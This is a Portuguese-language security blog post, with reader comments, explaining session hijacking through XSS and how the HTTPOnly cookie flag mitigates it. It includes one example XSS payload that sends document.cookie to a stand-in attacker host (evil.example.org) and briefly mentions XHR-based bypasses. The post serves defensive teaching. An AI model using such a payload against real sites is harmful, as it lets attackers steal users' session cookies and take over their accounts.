O que acontece se eu não tomar cuidado com a sessão?
Problemas sérios! Furto de dados, sequestro de sessão, problemas com autenticação, entre outras coisas que podem ser vistas na página sobre gestão de sessão da OWASP.
Como mitigar (diminuir) os riscos associados a cookies de sessão?
Além de implementar adequadamente a gestão de sessão, um excelente e simples controle para mitigar riscos relacionados a sequestro de sessão (session hijack), é evitar que cookies sejam consultados por javascript. Esta técnica é facilmente implementada, apenas inserindo uma flag httponly nos cookies.
Exemplo de cookie com a flag HTTPOnly
Set-Cookie: pmaCookieVer=4; expires=Thu, 21-May-2009 16:07:33 GMT; path=/phpmyadmin/; httponly
Como o acesso a cookies via javascript pode expor sua aplicação a sequestro de sessão?
A maiorias dos ataques de sequestro de sessão são realizados roubando cookies de usuários usando falhas de XSS (Cross Site Scripting). Uma pessoa mal intencionada envia uma URL contendo uma chamada javascript que irá usar a função document.cookie para coletar o cookie da sessão e enviar para um site/local onde ele possa capturar este cookie. Com o cookie em mãos a pessoa mal intencionada faz o sequestro de sessão.
Um exemplo de requisição maliciosa que pode ser usada para roubar cookies que não estejam protegidos.<script><br />document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie<br /></script><br />
Como testar minha aplicação para verificar se ela usa o recurso de HTTPOnly ou não?
Um exemplo simples, para validar se a sua aplicação usa o recurso de HTTPOnly ou não, é fazer a seguinte chamada na caixa de texto onde insere as URLs que deseja acessar no seu browser: javascript:alert(document.cookie); Se retornar uma mensagem de alerta com o valor do seu cookie de sessão, a aplicação não usa o recurso de HTTPOnly, portanto, pode ser explorada via ataques que usem recursos de javascript.
Como implementar HTTPOnly?
Alguns frameworks nas últimas versões, já vem com este recurso habilitado por default, como é o caso do Rails. Cada linguagem possui seu modo de implementar este recurso, alguns exemplos:
Alguns browsers também pode forçar o uso do HTTPOnly.
Existe algum tipo de "bypass" de HTTPOnly?
Sim, existe alguns métodos para burlar o HTTPOnly. Por exemplo, usando requisições XHR (XMLHttpRequest).
7 comentários:
Não conhecia sobre o HTTPOnly. Pelo que pesquisei, essa feature na verdade não está prevista na RFC 2109, ela foi criada pela Microsoft para o IE e o Firefox e Opera já a suportam nas suas últimas versões. Isso não pode dar problema em outros browsers? Será que vão incluir o HTTPOnly numa nova versão da RFC ?
Muito bom o post, sendo hand-on é bem melhor, eu pensava que tinha desistido do blog;-).
Dando uma olhada no site do virtualtesting e vizualizei um curso de web hacking a distância, gostaria que postasse mais informações sobre esse curso!! Quando começa,metodologia, se pode ser parcelado por boleto(cardless)...etc!!
[...] por Wagner Elias (weliasΘconviso·com·br) - referência [...]
Usando um sniffer ou até mesmo um navegador desatualizado dá para pegar os dados de toda forma.
O melhor mesmo é encriptar os dados dos cookies de forma que só a aplicação do lado do servidor entenda.
Luan,
estamos falando de coisas distintas, o HTTPOnly vai tratar o roubo de cookies via JS, não é um controle contra tampering de dados.
E se for sniffar os dados, você precisa esta na rede onde o cliente acessa o site certo? Se eu for sniffar a rede e a aplicação não usar SSL eu pego a senha e acesso.
Obrigado pela visita e pelo comentário.
[...] Original post: Segurança de Cookies de sessão e HTTPOnly - Wagner Elias - Think Security First [...]
Oi Zucco,
vou responder sua pergunta com essa thread: http://groups.google.com/group/ietf-httponly-wg/browse_thread/thread/d2c5e757bba5411b?pli=1
Pois eu desconheço qualquer bug com o HTTPOnly, o que acontece são os "Bypass".
Abs.
Postar um comentário